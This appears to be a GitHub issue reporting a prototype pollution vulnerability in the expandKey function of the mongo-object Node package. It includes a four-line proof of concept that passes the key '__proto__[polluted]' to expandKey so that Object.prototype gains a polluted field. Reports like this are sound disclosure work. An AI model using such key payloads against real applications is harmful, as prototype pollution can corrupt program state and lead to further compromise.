-
-
Notifications
You must be signed in to change notification settings - Fork 10
Open
Labels
Description
Describe the bug
Prototype Pollution vulnerability in the function expandKey (util.js)
To Reproduce
Use the following PoC:
var mo = require('mongo-object');
assert(({}).polluted === undefined);
mo.expandKey('yes', '__proto__[polluted]', {});
assert(({}).polluted === 'yes');
Expected behavior
The polluted field of Object.prototype should not be defined.
Desktop:
- OS: any
- Node: version 22